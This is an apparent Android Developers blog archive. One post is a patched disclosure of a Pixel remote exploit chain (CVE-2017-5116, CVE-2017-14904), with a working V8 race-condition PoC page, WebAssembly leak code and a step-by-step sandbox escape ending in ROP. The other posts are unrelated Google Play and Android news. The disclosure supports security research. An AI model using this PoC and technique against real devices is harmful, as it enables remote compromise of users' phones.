Author Archives: Android Developers

Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by the Android Security Team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

A simple PoC is as follows:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread's bound check, the instruction " call 0" can be modified by the worker thread to "call 128" and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the "call 0" Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If "call 0" is modified to "call $leak", registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.store
    i32.const 4
    get_local 1
    i32.store
    i32.const 8
    get_local 2
    i32.store
    i32.const 12
    get_local 3
    i32.store
    i32.const 16
    get_local 4
    i32.store
    i32.const 20
    get_local 5
    i32.store
    i32.const 0
  ))

Not only the instruction "call 0" can be modified, any "call funcx" instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If "call funcx" is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer's properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome's sandboxed process, so it's possible to unmap any pages in system_server from Chrome's sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome's sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome's Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome's render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module's base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven't been used. It's impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

Back in October we launched the 2nd edition of the Google Play Indie Games Contest in Europe, with the aim to identify, showcase and reward indie gaming talent from more than 30 countries. We were amazed by the innovation and creativity that indie developers from the region have to offer.

Selecting just 20 finalists has once again been a huge challenge. We had a lot of fun playing the games that will go on to showcase at the Saatchi Gallery on February 13th in London. Without further ado, we are happy to announce the Top 20 finalists of this year's edition. Congratulations to the finalists and thanks to everyone else who has entered the contest.

A Planet of Mine
Tuesday Quest
France

Bridge Constructor Portal
ClockStone Softwareentwicklung GmbH
Austria

Bury me, my Love
Playdius
France

Captain Tom Galactic Traveler
Picodongames
France

Core
FURYJAM
Russia

Flat Pack
Nitrome
United Kingdom

Fern Flower
Macaque
Poland

I Love Hue
Zut!
United Kingdom

Jodeo
Gamebra.in
Turkey

Kami 2
State of Play
United Kingdom

Kenshō
FIFTYTWO
Russia

No More Buttons
Tommy Søreide Kjær
Norway

Old Man's Journey
Broken Rules Interactive Media GmbH
Austria

The Big Journey
Catfishbox
Ukraine

The House of Da Vinci
Blue Brain Games, s.r.o.
Slovakia

The Office Quest
11Sheep
Israel

Unbalance
TVEE
Turkey

Undervault
Andriy Bychkovskyi
Ukraine

yellow
Bart Bonte
Belgium

Check out the prizes

All the 20 finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi Gallery
  • Inclusion of their game on a promotional billboard in London for 1 month
  • Inclusion of their game in a dedicated Indie Games Contest collection on the Indie Corner for one month in more than 40 countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event for top apps and games developers on Google Play
  • One (1) Pixel 2 device

They will also have the chance to win more prizes at the final event.

Join the Google Play team and the finalists at the final event:

Anyone can now register to attend the final showcase event for free at the Saatchi Gallery in London on 13 February 2018. Come and play some great games and have fun with indie developers, industry experts, and the Google Play team.

How useful did you find this blogpost?

Faster Renewals for Test Subscriptions

Testing your in-app subscriptions is a critical step in ensuring you're offering your customers a high quality service.

In order to make testing easier and faster, starting on February 20th, we are introducing shorter renewal intervals for test purchases made with license-test accounts. Currently, subscriptions by license-test accounts renew daily. The new changes will allow you to test an entire subscription cycle, including 6 renewals, in under an hour. We will also be shortening the testing time intervals of features such as grace period and account hold.

Please be aware that these changes are coming so you can update your testing flows accordingly prior to the change. Also note that existing test subscriptions still active on February 20, 2018 will automatically be canceled at that time.

Renewal times

Renewal times will vary based on the subscription period:

Subscription period Test subscription period
1 week 5 minutes
1 month 5 minutes
3 month 10 minutes
6 month 15 minutes
1 year 30 minutes

Time intervals of the following features will also be shortened for test subscriptions:

Feature Test period
Free trial 3 minutes
Introductory price period Same as test subscription period
Grace period (both 3 and 7 day) 5 minutes
Account hold 10 minutes

Note: These times are approximate; you may see some small variations in the precise time of an event. To compensate for variation, call the Google Play Developer API to view current status after every subscription expiration date.

Renewal limit

Due to the increase in renewal frequency, the number of renewals is limited to 6 regular renewals (not including intro price/free trial). After 6 renewals, the subscription will be automatically canceled.

Examples

Here are several examples of how the new renewal times are applied.

Free trial

Grace period

Account hold

Don't forget to check the Testing In-app Billing page for more details on testing your subscriptions. If you still have questions, reach out through the comments or post your question on Stackoverflow using the tag google-play.

Android Excellence: congratulations to the newly added apps and games

Posted by Kacey Fahey, Developer Marketing, Google Play

Kicking off the new year, we're excited to welcome our latest group of Android Excellence apps and games. These awardees represent some of the best experiences and top performing apps and games on the Play Store and can be found with other great selections on the Editors' Choice page.

If you're looking for some new apps, below are a few highlights.

  • EyeEm: A great photo editor app with a full suite of filters and tools to make your pictures shine. Learn style tips from their community and even sell your images through the EyeEm marketplace.
  • Musixmatch: Check out Musixmatch's updated app while learning the lyrics to all your favorite songs. The app is compatible with many of the top music streaming services and you can even follow along with your Android Wear device or on the big screen with Chromecast support.
  • ViewRanger: Plan your next hiking adventure by discovering new routes and trail guides with ViewRanger. Check out the Skyline feature using your phone's camera to identify over 9 million sites across the world through augmented reality.

Here are a few of our favorite new games joining the collection.

  • Fire Emblem Heroes: Nintendo's popular strategy-RPG franchise is now reimagined for mobile. Fight battles, develop your heroes' skills, and try various gameplay modes for hours of exciting gameplay.
  • Lumino City: Explore the charming papercraft style world in this award-winning puzzle adventure game. The beautiful scenery is all handcrafted.
  • Old Man's Journey: Gorgeous scenery, an immersive soundtrack, and deep emotion help you uncover the old man's life stories while you solve puzzles and shape the landscape to determine his future.

Congratulations to the newly added Android Excellence apps and games.

New Android Excellence apps New Android Excellence games
1tap

Acorns

Airbnb

Blink Health

Blinkist

Clue

Ditty

EyeEm

Fabulous

IFTTT

iReader

Journey

KKBOX

LinkedIn

Mobills: Budget Planner

Musixmatch

Shpock

Stocard

Video Editor

ViewRanger

YAZIO

YOP

Agent A

Bit Heroes

Bloons Supermonkey 2

Dancing Line

DEAD WARFARE: Zombie

Dragon Project

Fire Emblem Heroes

Futurama: Worlds of Tomorrow

Idle Heroes

Last Day on Earth: Survival

Lords Mobile

Lumino City

Modern Combat Versus

Old Man's Journey

The Walking Dead No Man's Land

War Wings

Explore other great apps and games in the Editors' Choice section on Google Play and discover best practices to help you build quality apps and games for people to love.

How useful did you find this blogpost?

New Products At CES powered by Android Things

By Venkat Rapaka, Director of Product Management, Google

The Android Things team has been working closely with our partners to create compelling, secure and thoughtful IoT products. During the Consumer Electronics Show (CES) in Las Vegas, a number of our OEM partners are announcing their first set of products powered by Android Things. These products are built on certified Android Things System-on-Modules (SoMs) from our silicon partners, benefit from regular feature and security updates from Google, and have the Google Assistant and Google Cast seamlessly built in.

New voice-activated speakers powered by Android Things are being announced at CES, including the LG ThinQ WK7 and iHome iGV1. Turnkey hardware solutions based on the Qualcomm SD212 Home Hub Platform, MediaTek MT8516 and Rockchip RK3229 SoM are certified for the Assistant and Cast, and NXP i.MX 8M is coming soon. Three of our Original Design Manufacturer (ODM) partners, Tymphany, Goertek, and Tonly, have created full speaker reference designs based on these SoMs to further reduce development cost and time-to-market.

Today, we also announced that the Google Assistant is coming to smart displays powered by Android Things. These new devices have the Assistant and Cast built in, and with the added benefit of a touch screen, they can help you see and do more. Smart displays from JBL, Lenovo, LG (all based on the Qualcomm SD624 Home Hub Platform) and Sony (based on the MediaTek MT8173 SoM) will be available later this year.

Of course, Android Things is designed to support a wide variety of devices beyond speakers and smart displays. Prototype demos can be found in the NXP booth, such as HandBot, DrawBot, 3D printer, and AI artwork T-shirts.

Starting tomorrow, you can visit the Google Assistant Playground (booth CP-21) at CES to view new products, chipsets, and reference designs by our partners. In addition, these devices are also available for display in other company spaces throughout the conference, including Lenovo, LG, JBL, Qualcomm, MediaTek, NXP, Rockchip, iHome, Goertek, and Tymphany.

Android Things is currently in Developer Preview, and you can get started with the latest version DP6.1. You can use the Android Things Console to download system images and flash existing devices. Feedback can be given by filing bug reports and feature requests, as well as on Stack Overflow or our Google's IoT Developers Community. The Long Term Support release will be available this year, with more details coming soon.

A look back at the most read Google Play posts on Medium in 2017

Posted by Sergejs Cuhrajs, Community Manager, Google Play

Earlier this year we launched the Google Play Apps & Games publication on Medium to help developers discover best practices and insights to grow successful apps and games businesses on Google Play. As we draw closer to the end of the year we thought it's a good time to revisit some of our most popular posts according to you – our readers.

It's clear that many of you are excited by the potential of new technology, such as Virtual Reality (VR) and Augmented Reality (AR), and how it could enhance user interaction with your apps and games. You're also concerned with everyday issues including how to keep your APK size manageable, how to acquire new users, and how to monetize games without pushing away your players.

So without further adieu, here's the list of the top 10:

  1. Applying human-centered design to emerging technologies
    (by By Peter Hyer, Fabian Herrmann, and Kristin Kelly, 7 min read)
    VR, AR, and digital assistant present exciting opportunities for the future, but how can we ensure we're designing for what people really want?
  2. Shrinking APKs, growing installs
    (by Sam Tolomei, 6 min read)
    Smaller APK sizes correlate with higher install conversion rate on Google Play - we share tips for keeping your apps lean.
  3. Who plays mobile games?
    (by Allen Bevans, UX Researcher at Google, 6 min read)
    Four actionable insights for game developers based on our research into different player segments.
  4. Why the first ten minutes are crucial if you want to keep players coming back
    (by Adam Carpenter, 7 min read)
    How to analyze your retention data so you can keep players coming back again and again.
  5. Design your app for decision-making
    (by Jeni Fisher, 10 min read)
    Useful tips and strategies for encouraging desired user behavior in your apps. Also check out follow-up posts on boosting motivation through app rewards, and common pitfalls of persuasive app design.
  6. Predicting your app's monetization future
    (by Ignacio Monereo, 10 min read)
    Learn about predictive analytics and calculating your apps lifetime value (LTV) to gain practical insight into the future of your app. In the second part Ignacio shares how to calculate LTV based on five popular monetization models.
  7. Five tips to improve your games-as-a-service monetization
    (by Moonlit Beshimov, 9 min read)
    5 proven strategies to improve your game revenue without driving players away.
  8. An introduction to in-app A/B testing
    (by Gavin Kinghall Were, 13 min read)
    Learn how in-app A/B testing can drive insight into your app's future design and development, and maximise its performance.
  9. Taking the guesswork out of paid user acquisition
    (by David Yin, 8 min read)
    A simple tool to help you estimate lifetime value (LTV) of your users and what to spend to grow your audience.
  10. Rethinking interface assumptions in AR: selecting objects
    (by Aaron Cammarata, 8 min read)
    In this article for beginner AR developers we explore one of the most fundamental user interface actions: object selection.

Do you have suggestions for topics we should tackle in 2018? Let us know by tweeting with the hashtag #AskPlayDev and we'll reply from @GooglePlayDev, where we regularly share news and tips on how to be successful on Google Play.

How useful did you find this blogpost?

Phasing out legacy recommendations on Android TV

Posted by Bejamin Baxter, Developer Programs Engineer

At Google I/O 2017, we announced a redesign of the Android TV's home screen. We expanded the recommendation row concept so that each app can have its own row (or multiple rows) of content on the home screen. Since the release of the new home screen, we have seen increased adoption of the new recommendation channels for Android Oreo in a wide variety of apps.

With more and more apps surfacing high-quality recommendations using the new channels, the legacy recommendation row in the new home screen on Android O will be phased out over the next year.

Currently, when an app creates recommendations with the legacy notification based API the content is added to a channel for that app. The channel may already exist if there was recommended content for it when you upgraded from Android N (or below). If the there is no channel for the app, it will be automatically generated for you. In either case, the user can't add or remove programs from the channel, but they can move, hide, and show the channel. When an app starts to use the new API to add its own channels, the system removes the auto-generated channel and the app takes over control of the display of their content.

Over the next year, we will phase out the automatic generation of channels. Instead of generating multiple channels, one for each app's legacy recommendations, we will insert one channel for all legacy recommendations. This channel will appear at the bottom of the channel list. Users can move or remove it. When a user upgrades to Android O, the previous recommendation row from Android N (and below) becomes a channel at the bottom of the home screen.

If you have not updated your app to post content to the new channels on the home screen, take a look at our documentation, codelab, and sample to get started.

We look forward to more and more apps taking advantage of the new changes in the home screen. We love to hear your feedback, so please visit the Android TV Developer Community on G+ to share your thoughts and ideas.

Double Stuffed Security in Android Oreo

Posted by Gian G Spicuzza, Android Security team

Android Oreo is stuffed full of security enhancements. Over the past few months, we've covered how we've improved the security of the Android platform and its applications: from making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, making Android easier to update, all the way to doubling the Android Security Rewards payouts. Now that Oreo is out the door, let's take a look at all the goodness inside.

Expanding support for hardware security

Android already supports Verified Boot, which is designed to prevent devices from booting up with software that has been tampered with. In Android Oreo, we added a reference implementation for Verified Boot running with Project Treble, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool features to make updates easier and more secure, such as a common footer format and rollback protection. Rollback protection is designed to prevent a device to boot if downgraded to an older OS version, which could be vulnerable to an exploit. To do this, the devices save the OS version using either special hardware or by having the Trusted Execution Environment (TEE) sign the data. Pixel 2 and Pixel 2 XL come with this protection and we recommend all device manufacturers add this feature to their new devices.

